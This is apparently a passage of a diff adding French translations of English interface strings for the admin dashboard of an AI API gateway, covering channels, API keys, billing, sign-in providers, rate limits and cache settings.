+    "{{count}} disabled channel(s) deleted": "{{count}} canal(canaux) désactivé(s) supprimé(s)",
+    "{{count}} hours ago": "il y a {{count}} heures",
+    "{{count}} IP(s)": "{{count}} IP",
+    "{{count}} log entries removed.": "{{count}} entrées de journal supprimées.",
+    "{{count}} minutes ago": "il y a {{count}} minutes",
+    "{{count}} model(s)": "{{count}} modèle(s)",
+    "{{count}} months ago": "il y a {{count}} mois",
+    "{{count}} override": "{{count}} remplacement",
+    "{{count}} tiers": "{{count}} paliers",
+    "{{count}} weeks ago": "il y a {{count}} semaines",
+    "{{field}} updated to {{value}}": "{{field}} mis à jour en {{value}}",
+    "{{field}} updated to {{value}} for tag: {{tag}}": "{{field}} mis à jour en {{value}} pour le tag : {{tag}}",
+    "{{n}} model(s) selected": "{{n}} modèle(s) sélectionné(s)",
+    "{{value}}ms": "{{value}} ms",
+    "{{value}}s": "{{value}} s",
+    "@lobehub/icons key": "@lobehub/icons clé",
+    "@lobehub/icons key name": "@lobehub/icons nom de la clé",
+    "/status/": "/status/",
+    "/your/endpoint": "/votre/endpoint",
+    "% off": "% de réduction",
+    "`, and `-nothinking` suffixes while routing to the correct Gemini variant.": "`, et les suffixes `-nothinking` lors du routage vers la variante Gemini correcte.",
+    "© 2025 Your Company. All rights reserved.": "© 2025 Votre entreprise. Tous droits réservés.",
+    "| Based on": "| Basé sur",
+    "0 means unlimited": "0 signifie illimité",
+    "1 Day": "1 jour",
+    "1 day ago": "Il y a 1 jour",
+    "1 Hour": "1H",
+    "1 hour ago": "Il y a 1 heure",
+    "1 minute ago": "Il y a 1 minute",
+    "1 Month": "1M",
+    "1 month ago": "Il y a 1 mois",
+    "1 week ago": "Il y a 1 semaine",
+    "1 year ago": "Il y a 1 an",
+    "1. Create an application in your Gotify server": "1. Créez une application sur votre serveur Gotify",
+    "1) Click \"Open authorization page\" and complete login. 2) Your browser may redirect to localhost (it is OK if the page does not load). 3) Copy the full URL from the address bar and paste it below. 4) Click \"Generate credential\".": "1) Cliquez sur « Ouvrir la page d'autorisation » et connectez-vous. 2) Votre navigateur peut rediriger vers localhost (la page peut ne pas s'afficher). 3) Copiez l'URL complète de la barre d'adresse et collez-la ci-dessous. 4) Cliquez sur « Générer l'identifiant ».",
+    "10 / page": "10 / page",
+    "100 / page": "100 / page",
+    "14 Days": "14 jours",
+    "192.168.1.1&#10;10.0.0.0/8": "192.168.1.1&#10;10.0.0.0/8",
+    "1M": "1M",
+    "1W": "1S",
+    "2. Copy the application token": "2. Copiez le jeton de l'application",
+    "20 / page": "20 / page",
+    "24 Hours": "24 heures",
+    "24 hours ago": "Il y a 24 heures",
+    "29 Days": "29 jours",
+    "3. Enter your Gotify server URL and token above": "3. Saisissez l'URL de votre serveur Gotify et le jeton ci-dessus",
+    "30 Days": "30 jours",
+    "30 days ago": "Il y a 30 jours",
+    "5-Hour Window": "Fenêtre de 5 heures",
+    "50 / page": "50 / page",
+    "7 Days": "7 jours",
+    "7 days ago": "Il y a 7 jours",
+    "80,443,8080": "80,443,8080",
+    "About": "À propos",
+    "Accept Unpriced Models": "Accepter les modèles non tarifés",
+    "Accepts a JSON array of model identifiers that support the Imagine API.": "Accepte un tableau JSON d'identifiants de modèles qui prennent en charge l'API Imagine.",
+    "Accepts comma-separated status codes and inclusive ranges.": "Accepte les codes de statut séparés par des virgules et les plages inclusives.",
+    "Access Denied Message": "Message d'accès refusé",
+    "Access Forbidden": "Accès interdit",
+    "Access Policy (JSON)": "Politique d'accès (JSON)",
+    "Access previous conversations and start new ones.": "Accéder aux conversations précédentes et en démarrer de nouvelles.",
+    "Access Token": "Jeton d'accès",
+    "AccessKey / SecretAccessKey": "AccessKey / SecretAccessKey",
+    "Account Binding Management": "Gestion des liaisons de compte",
+    "Account Bindings": "Associations de compte",
+    "Account created! Please sign in": "Compte créé ! Veuillez vous connecter",
+    "Account deleted successfully": "Compte supprimé avec succès",
+    "Account ID *": "ID de compte *",
+    "Account Info": "Informations du compte",
+    "Account used when authenticating with the SMTP server": "Compte utilisé lors de l'authentification auprès du serveur SMTP",
+    "Action confirmation": "Confirmation de l'action",
+    "Actions": "Actions",
+    "active": "actif",
+    "Active": "Actif",
+    "Active Cache Count": "Nombre de caches actifs",
+    "Active Files": "Fichiers actifs",
+    "active users": "utilisateurs actifs",
+    "Actual Amount": "Montant réel",
+    "Actual Model": "Modèle réel",
+    "Actual Model:": "Modèle réel :",
+    "Add": "Ajouter",
+    "Add {{title}}": "Ajouter {{title}}",
+    "Add a group identifier to the auto assignment list.": "Ajouter un identifiant de groupe à la liste d'affectation automatique.",
+    "Add a new API key by providing necessary info.": "Ajoutez une nouvelle clé API en fournissant les informations nécessaires.",
+    "Add a new channel by providing the necessary information.": "Ajoutez un nouveau canal en fournissant les informations nécessaires.",
+    "Add a new model to the system by providing the necessary information.": "Ajoutez un nouveau modèle au système en fournissant les informations nécessaires.",
+    "Add a new user by providing necessary info.": "Ajouter un nouvel utilisateur en fournissant les informations nécessaires.",
+    "Add a new vendor to the system": "Ajouter un nouveau fournisseur au système",
+    "Add an extra layer of security to your account": "Ajouter une couche de sécurité supplémentaire à votre compte",
+    "Add and submit": "Ajouter et soumettre",
+    "Add Announcement": "Ajouter une annonce",
+    "Add API": "Ajouter une API",
+    "Add API Shortcut": "Ajouter un raccourci API",
+    "Add auto group": "Ajouter un groupe automatique",
+    "Add chat preset": "Ajouter un préréglage de chat",
+    "Add condition": "Ajouter une condition",
+    "Add custom model(s), comma-separated": "Ajouter un ou plusieurs modèles personnalisés, séparés par des virgules",
+    "Add discount tier": "Ajouter un niveau de réduction",
+    "Add each model or tag you want to include.": "Ajoutez chaque modèle ou étiquette que vous souhaitez inclure.",
+    "Add FAQ": "Ajouter une FAQ",
+    "Add from available models...": "Ajouter à partir des modèles disponibles...",
+    "Add Funds": "Ajouter des fonds",
+    "Add group": "Ajouter un groupe",
+    "Add Group": "Ajouter un groupe",
+    "Add group rate limit": "Ajouter une limite de taux de groupe",
+    "Add group rules": "Ajouter des règles de groupe",
+    "Add Mapping": "Ajouter un mappage",
+    "Add method": "Ajouter une méthode",
+    "Add Mode": "Ajouter un mode",
+    "Add model": "Ajouter un modèle",
+    "Add Model": "Ajouter un modèle",
+    "Add Models": "Ajouter des modèles",
+    "Add new amount": "Ajouter un nouveau montant",
+    "Add new redemption code(s) by providing necessary info.": "Ajouter de nouveaux codes de réduction en fournissant les informations nécessaires.",
+    "Add OAuth Provider": "Ajouter un fournisseur OAuth",
+    "Add param/header": "Ajouter un param / un en-tête",
+    "Add payment method": "Ajouter un mode de paiement",
+    "Add photos or files": "Ajouter des photos ou des fichiers",
+    "Add product": "Ajouter un produit",
+    "Add Provider": "Ajouter un fournisseur",
+    "Add Quota": "Ajouter un quota",
+    "Add ratio override": "Ajouter un remplacement de ratio",
+    "Add Row": "Ajouter une ligne",
+    "Add Rule": "Ajouter une règle",
+    "Add rule group": "Ajouter un groupe de règles",
+    "Add selectable group": "Ajouter un groupe sélectionnable",
+    "Add subscription": "Ajouter un abonnement",
+    "Add tags...": "Ajouter des étiquettes...",
+    "Add tier": "Ajouter un palier",
+    "Add time condition": "Ajouter une condition temporelle",
+    "Add time rule group": "Ajouter un groupe de règles temporelles",
+    "Add Uptime Kuma Group": "Ajouter un groupe Uptime Kuma",
+    "Add User": "Ajouter un utilisateur",
+    "Add user group": "Ajouter un groupe d'utilisateurs",
+    "Add your API keys, set up channels and configure access permissions": "Ajoutez vos clés API, configurez les canaux et les permissions d'accès",
+    "Added {{count}} custom model(s)": "{{count}} modèle(s) personnalisé(s) ajouté(s)",
+    "Added {{count}} model(s)": "{{count}} modèle(s) ajouté(s)",
+    "Added successfully": "Ajouté avec succès",
+    "Additional information": "Informations supplémentaires",
+    "Additional Information": "Informations supplémentaires",
+    "Additional Limit": "Limite supplémentaire",
+    "Additional Limits": "Limites supplémentaires",
+    "Additional metered capability": "Fonctionnalité supplémentaire facturée à l’usage",
+    "Adjust Quota": "Ajuster le quota",
+    "Adjust the appearance and layout to suit your preferences.": "Ajustez l'apparence et la mise en page selon vos préférences.",
+    "Admin": "Administrateur",
+    "Admin access required": "Accès administrateur requis",
+    "Admin area": "Espace administrateur",
+    "Admin notes (only visible to admins)": "Notes d'administration (visibles uniquement par les administrateurs)",
+    "Admin Only": "Administrateur uniquement",
+    "Administer user accounts and roles.": "Gérer les comptes d'utilisateurs et les rôles.",
+    "Administrator account": "Compte administrateur",
+    "Administrator username": "Nom d'utilisateur administrateur",
+    "Advanced": "Avancé",
+    "Advanced Configuration": "Configuration avancée",
+    "Advanced options": "Options avancées",
+    "Advanced Options": "Options avancées",
+    "Advanced platform configuration.": "Configuration avancée de la plateforme.",
+    "Advanced Settings": "Paramètres avancés",
+    "After clicking the button, you'll be asked to authorize the bot": "Après avoir cliqué sur le bouton, il vous sera demandé d'autoriser le bot",
+    "After disabling, it will no longer be shown to users, but historical orders are not affected. Continue?": "Après désactivation, il ne sera plus affiché aux utilisateurs, mais les commandes historiques ne sont pas affectées. Continuer ?",
+    "After enabling, the plan will be shown to users. Continue?": "Après activation, le plan sera affiché aux utilisateurs. Continuer ?",
+    "After invalidating, this subscription will be immediately deactivated. Historical records are not affected. Continue?": "Après l'invalidation, cet abonnement sera immédiatement désactivé. Les enregistrements historiques ne sont pas affectés. Continuer ?",
+    "After scanning, the binding will complete automatically": "Après la numérisation, la liaison se terminera automatiquement",
+    "Agent ID *": "ID d'agent *",
+    "Aggregated usage metrics and trend charts.": "Métriques d'utilisation agrégées et graphiques de tendances.",
+    "aggregates 50+ AI providers behind one unified API. Manage access, track costs, and scale effortlessly.": "agrège plus de 50 fournisseurs IA derrière une API unifiée. Gérez l'accès, suivez les coûts et évoluez sans effort.",
+    "AGPL v3.0 License": "Licence AGPL v3.0",
+    "AI model testing environment": "Environnement de test de modèle IA",
+    "AI models": "Modèles d'IA",
+    "AI models supported": "Modèles d'IA pris en charge",
+    "AI Proxy": "AI Proxy",
+    "AI Proxy Library": "Bibliothèque AI Proxy",
+    "AIGC2D": "AIGC2D",
+    "AILS": "AILS",
+    "AK/SK mode: use AccessKey|SecretAccessKey|Region": "Mode AK/SK : utiliser AccessKey|SecretAccessKey|Region",
+    "Ali": "Ali",
+    "All": "Tout",
+    "All edits are overwrite operations. Leave fields empty to keep current values unchanged.": "Toutes les modifications sont des opérations d'écrasement. Laissez les champs vides pour conserver les valeurs actuelles inchangées.",
+    "All files exceed the maximum size.": "Tous les fichiers dépassent la taille maximale.",
+    "All Groups": "Tous les groupes",
+    "All Models": "Tous les modèles",
+    "All models in use are properly configured.": "Tous les modèles utilisés sont correctement configurés.",
+    "All Status": "Tous les statuts",
+    "All Sync Status": "Tous les statuts de synchronisation",
+    "All Tags": "Tous les tags",
+    "All Types": "Tous les types",
+    "All upstream data is trusted": "Toutes les données en amont sont fiables",
+    "All Vendors": "Tous les fournisseurs",
+    "All Your AI Models": "Tous vos modèles IA",
+    "Allocated Memory": "Mémoire allouée",
+    "Allow accountFilter parameter": "Autoriser le paramètre accountFilter",
+    "Allow Claude beta query passthrough": "Autoriser le passage des requêtes bêta Claude",
+    "Allow clients to query configured ratios via `/api/ratio`.": "Autoriser les clients à interroger les ratios configurés via `/api/ratio`.",
+    "Allow HTTP image requests": "Autoriser les requêtes d'images HTTP",
+    "Allow include usage obfuscation passthrough": "Autoriser le passage de l'obfuscation d'utilisation",
+    "Allow inference geography passthrough": "Autoriser le passage de la géographie d'inférence",
+    "Allow inference_geo passthrough": "Autoriser la transmission de inference_geo",
+    "Allow Insecure Origins": "Autoriser les origines non sécurisées",
+    "Allow new users to register": "Autoriser les nouveaux utilisateurs à s'inscrire",
+    "Allow Private IPs": "Autoriser les IP privées",
+    "Allow registration with password": "Autoriser l'inscription avec mot de passe",
+    "Allow requests to private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)": "Autoriser les requêtes vers les plages d'adresses IP privées (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)",
+    "Allow safety_identifier passthrough": "Autoriser la transmission de safety_identifier",
+    "Allow service_tier passthrough": "Autoriser la transmission de service_tier",
+    "Allow speed passthrough": "Autoriser la transmission de speed",
+    "Allow upstream callbacks": "Autoriser les callbacks en amont",
+    "Allow users to check in daily for random quota rewards": "Permettre aux utilisateurs de se connecter quotidiennement pour des récompenses de quota aléatoires",
+    "Allow users to enter promo codes": "Autoriser les utilisateurs à saisir des codes promotionnels",
+    "Allow users to log in with password": "Autoriser les utilisateurs à se connecter avec un mot de passe",
+    "Allow users to register and sign in with Passkey (WebAuthn)": "Autoriser les utilisateurs à s'inscrire et se connecter avec une clé d'accès (Passkey) (WebAuthn)",
+    "Allow users to sign in with Discord": "Autoriser les utilisateurs à se connecter avec Discord",
+    "Allow users to sign in with GitHub": "Autoriser les utilisateurs à se connecter avec GitHub",
+    "Allow users to sign in with LinuxDO": "Autoriser les utilisateurs à se connecter avec LinuxDO",
+    "Allow users to sign in with OpenID Connect": "Autoriser les utilisateurs à se connecter avec OpenID Connect",
+    "Allow users to sign in with Telegram": "Autoriser les utilisateurs à se connecter avec Telegram",
+    "Allow users to sign in with this provider": "Autoriser les utilisateurs à se connecter avec ce fournisseur",
+    "Allow users to sign in with WeChat": "Autoriser les utilisateurs à se connecter avec WeChat",
+    "Allow using models without price configuration": "Autoriser l'utilisation de modèles sans configuration de prix",
+    "Allowed": "Autorisé",
+    "Allowed Origins": "Origines autorisées",
+    "Allowed Ports": "Ports autorisés",
+    "Already have an account?": "Vous avez déjà un compte ?",
+    "Always matches (default tier).": "Toujours appliqué (palier par défaut).",
+    "Amount": "Montant",
+    "Amount cannot be changed when editing.": "Le montant ne peut pas être modifié lors de la modification.",
+    "Amount discount": "Remise sur le montant",
+    "Amount Due": "Montant dû",
+    "Amount must be a whole number": "Le montant doit être un nombre entier",
+    "Amount must be greater than 0": "Le montant doit être supérieur à 0",
+    "Amount of quota to credit to user account.": "Montant du quota à créditer sur le compte utilisateur.",
+    "Amount options must be a JSON array": "Les options de montant doivent être un tableau JSON",
+    "Amount to pay:": "Montant à payer :",
+    "An unexpected error occurred": "Une erreur inattendue est survenue",
+    "and": "et",
+    "Announcement added. Click \"Save Settings\" to apply.": "Annonce ajoutée. Cliquez sur \"Enregistrer les paramètres\" pour appliquer.",
+    "Announcement content": "Contenu de l'annonce",
+    "Announcement deleted. Click \"Save Settings\" to apply.": "Annonce supprimée. Cliquez sur \"Enregistrer les paramètres\" pour appliquer.",
+    "Announcement Details": "Détails de l'annonce",
+    "Announcement displayed to users (supports Markdown & HTML)": "Annonce affichée aux utilisateurs (prend en charge Markdown et HTML)",
+    "Announcement updated. Click \"Save Settings\" to apply.": "Annonce mise à jour. Cliquez sur \"Enregistrer les paramètres\" pour appliquer.",
+    "Announcements": "Annonces",
+    "Announcements saved successfully": "Annonces enregistrées avec succès",
+    "Answer": "Réponse",
+    "Anthropic": "Anthropic",
+    "API Addresses": "Adresses API",
+    "API Base URL (Important: Not Chat API) *": "URL de base de l'API (Important : Pas l'API de Chat) *",
+    "API Base URL *": "URL de base de l'API *",
+    "API Endpoints": "Points de terminaison API",
+    "API Info": "Infos API",
+    "API info added. Click \"Save Settings\" to apply.": "Informations API ajoutées. Cliquez sur \"Enregistrer les paramètres\" pour appliquer.",
+    "API info deleted. Click \"Save Settings\" to apply.": "Informations API supprimées. Cliquez sur \"Enregistrer les paramètres\" pour appliquer.",
+    "API info saved successfully": "Informations API enregistrées avec succès",
+    "API info updated. Click \"Save Settings\" to apply.": "Informations API mises à jour. Cliquez sur \"Enregistrer les paramètres\" pour appliquer.",
+    "API key": "Clé API",
+    "API Key": "Clé API",
+    "API Key (one per line for batch mode)": "Clé API (une par ligne pour le mode batch)",
+    "API Key (Production)": "Clé API (Production)",
+    "API Key (Sandbox)": "Clé API (Sandbox)",
+    "API Key *": "Clé API *",
+    "API Key created successfully": "Clé API créée avec succès",
+    "API Key deleted successfully": "Clé API supprimée avec succès",
+    "API Key disabled successfully": "Clé API désactivée avec succès",
+    "API Key enabled successfully": "Clé API activée avec succès",
+    "API key from the provider": "Clé API du fournisseur",
+    "API key is required": "La clé API est requise",
+    "API Key mode (does not support batch creation)": "Mode clé API (ne prend pas en charge la création par lots)",
+    "API Key mode: use APIKey|Region": "Mode clé API : utiliser APIKey|Region",
+    "API Key updated successfully": "Clé API mise à jour avec succès",
+    "API Keys": "Clés API",
+    "API Private Key": "Clé privée de l'API",
+    "API Requests": "Requêtes API",
+    "API secret": "Secret API",
+    "API token management": "Gestion des tokens API",
+    "API URL": "URL de l'API",
+    "API usage records": "Historique d'utilisation de l'API",
+    "API2GPT": "API2GPT",
+    "Append": "Ajouter à la fin",
+    "Append mode: New keys will be added to the end of the existing key list": "Mode d'ajout : Les nouvelles clés seront ajoutées à la fin de la liste de clés existante",
+    "Append to channel": "Ajouter au canal",
+    "Append to existing keys": "Ajouter aux clés existantes",
+    "appended": "ajouté",
+    "Application": "Application",
+    "Applies to custom completion endpoints. JSON map of model → ratio.": "S'applique aux points de terminaison de complétion personnalisés. Mappage JSON de modèle → ratio.",
+    "Apply All Upstream Updates": "Appliquer toutes les mises à jour upstream",
+    "Apply Filters": "Appliquer les filtres",
+    "Apply IP Filter to Resolved Domains": "Appliquer le filtre IP aux domaines résolus",
+    "Apply Overwrite": "Appliquer l'écrasement",
+    "Apply Sync": "Appliquer la synchronisation",
+    "Applying...": "Application en cours...",
+    "Approx.": "Environ.",
+    "are also listed here. Remove them from Models to keep the `/v1/models` response user-friendly and hide vendor-specific names.": "sont également listés ici. Supprimez-les des Modèles pour que la réponse `/v1/models` reste conviviale et pour masquer les noms spécifiques aux fournisseurs.",
+    "Are you sure you want to delete": "Êtes-vous sûr de vouloir supprimer",
+    "Are you sure you want to delete all auto-disabled keys? This action cannot be undone.": "Êtes-vous sûr de vouloir supprimer toutes les clés automatiquement désactivées ? Cette action ne peut pas être annulée.",
+    "Are you sure you want to delete deployment \"{{name}}\"? This action cannot be undone.": "Êtes-vous sûr de vouloir supprimer le déploiement \"{{name}}\" ? Cette action est irréversible.",
+    "Are you sure you want to delete this key? This action cannot be undone.": "Êtes-vous sûr de vouloir supprimer cette clé ? Cette action ne peut pas être annulée.",
+    "Are you sure you want to disable all enabled keys?": "Êtes-vous sûr de vouloir désactiver toutes les clés activées ?",
+    "Are you sure you want to enable all keys?": "Êtes-vous sûr de vouloir activer toutes les clés ?",
+    "Are you sure you want to manually complete this order? The user will be credited with the corresponding quota.": "Êtes-vous sûr de vouloir compléter manuellement cette commande ? L'utilisateur sera crédité du quota correspondant.",
+    "Are you sure you want to sign out? You will need to sign in again to access your account.": "Êtes-vous sûr de vouloir vous déconnecter ? Vous devrez vous reconnecter pour accéder à votre compte.",
+    "Are you sure you want to unbind {{provider}} for this user? The user will no longer be able to log in via this method.": "Êtes-vous sûr de vouloir dissocier {{provider}} de cet utilisateur ? L'utilisateur ne pourra plus se connecter via cette méthode.",
+    "Are you sure you want to unbind {{provider}}? You will no longer be able to log in via this method.": "Êtes-vous sûr de vouloir dissocier {{provider}} ? Vous ne pourrez plus vous connecter via cette méthode.",
+    "Are you sure?": "Êtes-vous sûr ?",
+    "Args (space separated)": "Arguments (séparés par des espaces)",
+    "Array of chat client presets. Each item is an object with one key-value pair: client name and its URL.": "Tableau de préréglages de clients de chat. Chaque élément est un objet avec une paire clé-valeur : nom du client et son URL.",
+    "Area Chart": "Graphique en aires",
+    "Asc": "Asc",
+    "Ask anything": "Demandez n'importe quoi",
+    "Async task refund": "Remboursement de tâche asynchrone",
+    "At least one model regex pattern is required": "Au moins un modèle de regex est requis",
+    "At least one valid key source is required": "Au moins une source de clé valide est requise",
+    "Attach": "Joindre",
+    "Audio": "Audio",
+    "Audio comp.": "Comp. audio",
+    "Audio completion ratio": "Ratio de complétion audio",
+    "Audio In": "Entrée audio",
+    "Audio input": "Entrée audio",
+    "Audio Input": "Entrée audio",
+    "Audio Input Price": "Prix entrée audio",
+    "Audio Out": "Sortie audio",
+    "Audio output": "Sortie audio",
+    "Audio Output": "Sortie audio",
+    "Audio playback failed": "Échec de la lecture audio",
+    "Audio Preview": "Aperçu audio",
+    "Audio ratio": "Ratio audio",
+    "Audio Tokens": "Jetons audio",
+    "Auth Style": "Style d'authentification",
+    "Authentication": "Authentification",
+    "Authenticator code": "Code d'authentification",
+    "Authorization Endpoint": "Point de terminaison d'autorisation",
+    "Authorization Endpoint (Optional)": "Point de terminaison d'autorisation (Facultatif)",
+    "Authorize": "Autoriser",
+    "Auto": "Auto",
+    "Auto (Circuit Breaker)": "Auto (Disjoncteur)",
+    "Auto assignment order": "Ordre d'affectation automatique",
+    "Auto Ban": "Bannissement automatique",
+    "Auto detect (default)": "Détection automatique (par défaut)",
+    "Auto Disabled": "Désactivé automatiquement",
+    "Auto Group Chain": "Chaîne de groupes automatique",
+    "Auto refresh": "Actualisation automatique",
+    "Auto Sync Upstream Models": "Synchronisation automatique des modèles en amont",
+    "Auto-disable status codes": "Codes de statut de désactivation auto",
+    "Auto-discover": "Découverte automatique",
+    "Auto-discovers endpoints from the provider": "Découvre automatiquement les points de terminaison du fournisseur",
+    "Auto-retry status codes": "Codes de statut de nouvelle tentative auto",
+    "Automatically disable channel on repeated failures": "Désactiver automatiquement le canal en cas d'échecs répétés",
+    "Automatically disable channels exceeding this response time": "Désactiver automatiquement les canaux dépassant ce temps de réponse",
+    "Automatically disable channels when tests fail": "Désactiver automatiquement les canaux lorsque les tests échouent",
+    "Automatically probe all channels in the background": "Sonder automatiquement tous les canaux en arrière-plan",
+    "Automatically replaces upstream callback URLs with the server address.": "Remplace automatiquement les URL des callbacks en amont par l'adresse du serveur.",
+    "Automatically selects the best available group with circuit breaker mechanism": "Sélectionne automatiquement le meilleur groupe disponible avec un mécanisme de disjoncteur de circuit",
+    "Automatically sync model list when upstream changes are detected": "Synchroniser automatiquement la liste des modèles lorsque des changements en amont sont détectés",
+    "Automatically test channels and notify users when limits are hit": "Tester automatiquement les canaux et notifier les utilisateurs lorsque les limites sont atteintes",
+    "Available": "Disponible",
+    "Available disk space": "Espace disque disponible",
+    "Available Models": "Modèles disponibles",
+    "Available Rewards": "Récompenses disponibles",
+    "Average RPM": "RPM moyen",
+    "Average TPM": "TPM moyen",
+    "AWS": "AWS",
+    "AWS Key Format": "Format de clé AWS",
+    "Azure": "Azure",
+    "AZURE_OPENAI_ENDPOINT *": "AZURE_OPENAI_ENDPOINT *",
+    "Back": "Retour",
+    "Back to Home": "Retour à l'accueil",
+    "Back to login": "Retour à la connexion",
+    "Back to Models": "Retour aux modèles",
+    "Backed up": "Sauvegardé",
+    "Background job tracker for queued work.": "Suivi des tâches en arrière-plan pour les travaux en file d'attente.",
+    "Backup Code": "Code de secours",
+    "Backup code must be in format XXXX-XXXX": "Le code de sauvegarde doit être au format XXXX-XXXX",
+    "Backup codes regenerated successfully": "Codes de sauvegarde régénérés avec succès",
+    "Backup codes remaining: {{count}}": "Codes de secours restants : {{count}}",
+    "Badge Color": "Couleur du badge",
+    "Baidu": "Baidu",
+    "Baidu V2": "Baidu V2",
+    "Balance": "Solde",
+    "Balance and top-up management": "Gestion du solde et des recharges",
+    "Balance queried successfully": "Solde interrogé avec succès",
+    "Balance updated successfully": "Solde mis à jour avec succès",
+    "Balance updated: {{balance}}": "Solde mis à jour : {{balance}}",
+    "Bar Chart": "Graphique en barres",
+    "Bark Push URL": "URL de notification Bark",
+    "Base address provided by your Epay service": "Adresse de base fournie par votre service Epay",
+    "Base amount. Actual deduction = base amount × system group rate.": "Montant de base. Déduction réelle = montant de base × taux du groupe système.",
+    "Base Limits": "Limites de base",
+    "Base multipliers applied when users select specific groups.": "Multiplicateurs de base appliqués lorsque les utilisateurs sélectionnent des groupes spécifiques.",
+    "Base rate limit windows for this account.": "Fenêtres de limitation de débit de base pour ce compte.",
+    "Base URL": "URL de base",
+    "Base URL of your Uptime Kuma instance": "URL de base de votre instance Uptime Kuma",
+    "Basic Authentication": "Authentification de base",
+    "Basic Configuration": "Configuration de base",
+    "Basic Info": "Informations de base",
+    "Basic Information": "Informations de base",
+    "Batch Add (one key per line)": "Ajout par lots (une clé par ligne)",
+    "Batch delete failed": "Échec de la suppression par lots",
+    "Batch detection complete: {{channels}} channels, {{add}} to add, {{remove}} to remove, {{fails}} failed": "Détection par lots terminée : {{channels}} canaux, {{add}} à ajouter, {{remove}} à supprimer, {{fails}} échoués",
+    "Batch detection failed": "Échec de la détection par lot",
+    "Batch disable failed": "Échec de la désactivation par lots",
+    "Batch Edit": "Modification par lot",
+    "Batch edit all channels with this tag. Leave fields empty to keep current values.": "Modifiez par lot tous les canaux avec ce tag. Laissez les champs vides pour conserver les valeurs actuelles.",
+    "Batch Edit by Tag": "Modification par lot par tag",
+    "Batch enable failed": "Échec de l'activation par lots",
+    "Batch processing failed": "Échec du traitement par lot",
+    "Batch upstream model updates applied: {{channels}} channels, {{added}} added, {{removed}} removed, {{fails}} failed": "Mises à jour par lot des modèles en amont appliquées : {{channels}} canaux, {{added}} ajoutés, {{removed}} supprimés, {{fails}} échoués",
+    "Best for single-tenant deployments. Pricing and billing options stay hidden.": "Idéal pour les déploiements mono-utilisateur. Les options de tarification et de facturation restent masquées.",
+    "Billing": "Facturation",
+    "Billing currency": "Devise de facturation",
+    "Billing Details": "Détails de facturation",
+    "Billing History": "Historique de facturation",
+    "Billing Mode": "Mode de facturation",
+    "Billing Process": "Processus de facturation",
+    "Billing Source": "Source de facturation",
+    "Bind": "Lier",
+    "Bind an email address to your account.": "Associez une adresse e-mail à votre compte.",
+    "Bind Email": "Lier l'e-mail",
+    "Bind Telegram Account": "Lier le compte Telegram",
+    "Bind WeChat Account": "Lier le compte WeChat",
+    "Binding Information": "Informations de liaison",
+    "Binding successful!": "Liaison réussie !",
+    "Binding your {{provider}} account": "Liaison de votre compte {{provider}}",
+    "Binding...": "Liaison en cours...",
+    "Bindings": "Liages",
+    "Blacklist": "Liste noire",
+    "Blacklist (Block listed domains)": "Liste noire (Bloquer les domaines listés)",
+    "Blacklist (Block listed IPs)": "Liste noire (Bloquer les adresses IP listées)",
+    "Blank Rule": "Règle vide",
+    "Blend": "Fusion",
+    "Block email aliases (e.g., user+alias@domain.com)": "Bloquer les alias d'e-mail (par exemple, utilisateur+alias@domaine.com)",
+    "Blocked keywords": "Mots-clés bloqués",
+    "Blocks messages when sensitive keywords are detected.": "Bloque les messages lorsque des mots-clés sensibles sont détectés.",
+    "Body param": "Paramètre de corps",
+    "Bot Name": "Nom du bot",
+    "Bot Protection": "Protection des bots",
+    "Bot Token": "Jeton du bot",
+    "Bot:": "Bot :",
+    "Bound": "Lié",
+    "Bound Channels": "Canaux liés",
+    "Bound Only": "Liés uniquement",
+    "Bring channels back online after successful checks": "Remettre les canaux en ligne après des vérifications réussies",
+    "Broadcast a global banner to users. Markdown is supported.": "Diffuser une bannière globale aux utilisateurs. Le Markdown est pris en charge.",
+    "Broadcast short system notices on the dashboard": "Diffuser de courtes notifications système sur le tableau de bord",
+    "Browse and compare": "Parcourir et comparer",
+    "Budget tokens = max tokens × ratio. Accepts a decimal between 0.002 and 1. Recommended to keep aligned with upstream billing.": "Jetons budgétaires = jetons max × ratio. Accepte un nombre décimal entre 0,002 et 1. Il est recommandé de rester aligné avec la facturation en amont.",
+    "Budget tokens = max tokens × ratio. Accepts a decimal between 0.1 and 1.": "Jetons budgétaires = jetons max × ratio. Accepte un nombre décimal entre 0,1 et 1.",
+    "Budget Tokens Ratio": "Ratio de jetons budgétaires",
+    "Budgets": "Budgets",
+    "Built for developers,": "Conçu pour les développeurs,",
+    "Built-in": "Intégré",
+    "Built-in Device": "Appareil intégré",
+    "Built-in: phone fingerprint/face, or Windows Hello; External: USB security key": "Intégré : empreinte digitale/visage du téléphone, ou Windows Hello ; Externe : clé de sécurité USB",
+    "by": "par",
+    "Cache": "Cache",
+    "Cache Creation": "Création cache",
+    "Cache Creation (1h)": "Création cache (1h)",
+    "Cache Creation (5m)": "Création cache (5m)",
+    "Cache Directory": "Répertoire de cache",
+    "Cache Directory Disk Space": "Espace disque du répertoire de cache",
+    "Cache Directory Info": "Infos du répertoire de cache",
+    "Cache Entries": "Entrées de cache",
+    "Cache mode": "Mode de cache",
+    "Cache ratio": "Ratio de cache",
+    "Cache Read": "Lecture du cache",
+    "Cache write": "Écriture du cache",
+    "Cache Write": "Écriture du cache",
+    "Cache Write (1h)": "Écriture cache (1h)",
+    "Cache Write (5m)": "Écriture cache (5m)",
+    "Cached": "Cache",
+    "Cached input": "Entrée mise en cache",
+    "Calculated price: ${{price}} per 1M tokens": "Prix calculé : ${{price}} par 1M tokens",
+    "Calculated ratio: {{ratio}}": "Ratio calculé : {{ratio}}",
+    "Calculating...": "Calcul en cours...",
+    "Call Count Distribution": "Distribution du nombre d'appels",
+    "Call Count Ranking": "Classement du nombre d'appels",
+    "Call Proportion": "Proportion d'appels",
+    "Call Trend": "Tendance des appels",
+    "Callback address": "Adresse de rappel",
+    "Callback Caller IP": "IP de l’appelant du callback",
+    "Callback notification URL": "URL de notification de rappel",
+    "Callback Payment Method": "Moyen de paiement (callback)",
+    "Callback URL": "URL de callback",
+    "Cancel": "Annuler",
+    "Cancelled": "Annulé",
+    "Cancelled at": "Annulé le",
+    "Capture a reusable bundle of models, tags, or endpoints.": "Capturez un ensemble réutilisable de modèles, d'étiquettes ou de points de terminaison.",
+    "Category Name": "Nom de la catégorie",
+    "Category name is required": "Le nom de la catégorie est requis",
+    "Category name must be less than 50 characters": "Le nom de la catégorie doit contenir moins de 50 caractères",
+    "Caution": "Attention",
+    "CC Switch": "Changement CC",
+    "Chain": "Chaîne",
+    "Change": "Modifier",
